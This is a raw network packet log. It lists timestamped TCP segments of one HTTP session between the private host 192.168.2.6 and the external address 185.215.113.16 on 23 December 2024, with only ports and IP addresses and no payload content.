Dec 23, 2024 09:00:35.873388052 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:35.873405933 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:35.873444080 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:35.874074936 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:35.874129057 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:35.990979910 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:35.991071939 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:35.991144896 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.063225031 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.063364029 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.063502073 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.067409992 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.067612886 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.067667007 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.075839996 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.076004028 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.076086998 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.084197044 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.084404945 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.084569931 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.101150990 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.101358891 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.101396084 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.101413012 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.101936102 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.102008104 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.109330893 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.109509945 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.109580994 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.117633104 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.117790937 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.117846966 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.125998020 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.126180887 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.126241922 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.134397984 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.134603024 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.134666920 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.142836094 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.142976999 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.143085957 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.183546066 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.237490892 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.255182981 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.255352020 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.255413055 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.257662058 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.257791996 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.257841110 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.262603998 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.262809992 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.263063908 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.267455101 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.267623901 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.267918110 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.272531033 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.272669077 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.272723913 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.277503014 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.277683973 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.277743101 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.282260895 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.282567978 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.282712936 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.287174940 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.287323952 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.287380934 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.291968107 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.292119980 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.292176962 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.296861887 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.297107935 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.297161102 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.301614046 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.301772118 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.301873922 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.306466103 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.306627989 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.306684017 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.311289072 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.311433077 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.311537981 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.316109896 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.316291094 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.316354990 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.320980072 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.321115017 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.321175098 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.325767040 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.325973034 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.326029062 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.330625057 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.330781937 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.330842972 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.335480928 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.335679054 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.335746050 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.340471983 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.340653896 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.340715885 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.357140064 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.357233047 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.357297897 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.447364092 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.447451115 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.447601080 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.449187040 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.449364901 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.449595928 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.453038931 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.453223944 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.453550100 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.456993103 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.457170963 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.457262993 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.460776091 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.460953951 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.461221933 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.464863062 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.464905024 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.464993954 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.468193054 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.468389988 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.468466997 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.471710920 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.471915960 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.471972942 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.475254059 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.475434065 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.475527048 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.478792906 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.478977919 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.479093075 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.482512951 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.482695103 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.482775927 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.485881090 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.486041069 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.486188889 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.488953114 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.489204884 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.489435911 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.491991043 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.492153883 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.492233992 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.495035887 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.495213032 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.495285034 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.498059034 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.498255968 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.498425961 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.501384020 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.501538992 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.501624107 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.504180908 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.504354000 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.504453897 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.507260084 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.507414103 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.507505894 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.510291100 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.510452986 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.510512114 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.513322115 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.513592005 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.513806105 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.516371965 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.516556978 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.516635895 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.519401073 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.519586086 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.519757986 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.522452116 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.522665977 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.522736073 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.525527000 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.525686026 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.525836945 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.528609991 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.528733969 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.528832912 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.531591892 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.531749010 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.531841040 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.534626961 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.534818888 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.534936905 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.537640095 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.581223965 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.639337063 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.639487982 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.639564037 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.640516996 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.640729904 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.640943050 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.643059969 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.643296957 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.643419027 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.645620108 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.645795107 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.645941973 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.648076057 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.648272991 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.648385048 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.650512934 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.650722027 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.650825977 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.652836084 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.653027058 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.653101921 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.655205011 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.655385017 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.655462027 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.657512903 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.657707930 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.657783031 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.659842014 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.660017967 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.660252094 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.662005901 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.662203074 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.662286997 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.664236069 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.664463043 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.664530039 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.666452885 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.666634083 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.666735888 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.668663979 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.668853045 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.668919086 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.670958996 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.671087980 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.671222925 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.673109055 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.673283100 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.673360109 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.675405979 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.675523043 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.675664902 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.677516937 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.677728891 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.677782059 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.679754972 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.679949999 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.680073023 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.682010889 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.682164907 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.682277918 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.684230089 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.684417963 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.684585094 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.686398029 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.686570883 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.686659098 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.688631058 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.688788891 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.688841105 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.690841913 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.691026926 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.691273928 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.693062067 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.693229914 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.693398952 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.695297956 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.695477962 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.695596933 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.697529078 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.697756052 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.697832108 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.699749947 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.699980021 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.700217009 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.702014923 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.702205896 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.702310085 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.704188108 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.704363108 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.704421043 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.706451893 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.706626892 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.706733942 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.708616018 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.708836079 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.708915949 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.710870028 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.711054087 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.711118937 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.713088036 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.713283062 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.713363886 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.715266943 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.715497017 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.716002941 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.717596054 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.717745066 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.717828989 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.719760895 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.719918966 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.719980001 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.721995115 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.722182989 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.722282887 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.724200010 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.724387884 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.724453926 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.726422071 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.726608992 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.726694107 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.728626013 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.728823900 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.728924990 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.730942011 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.731118917 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.731334925 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.733082056 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.733280897 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.733850956 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.735336065 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.735532999 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.735780954 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.737526894 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.737719059 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.737847090 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.739774942 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.739892960 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.739949942 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.741987944 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.742180109 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.742248058 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.744179964 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.744355917 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.744482040 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.746385098 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.746558905 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.746612072 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.748601913 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.748778105 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:36.748872995 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:36.750823021 CET	80	49794	185.215.113.16	192.168.2.6
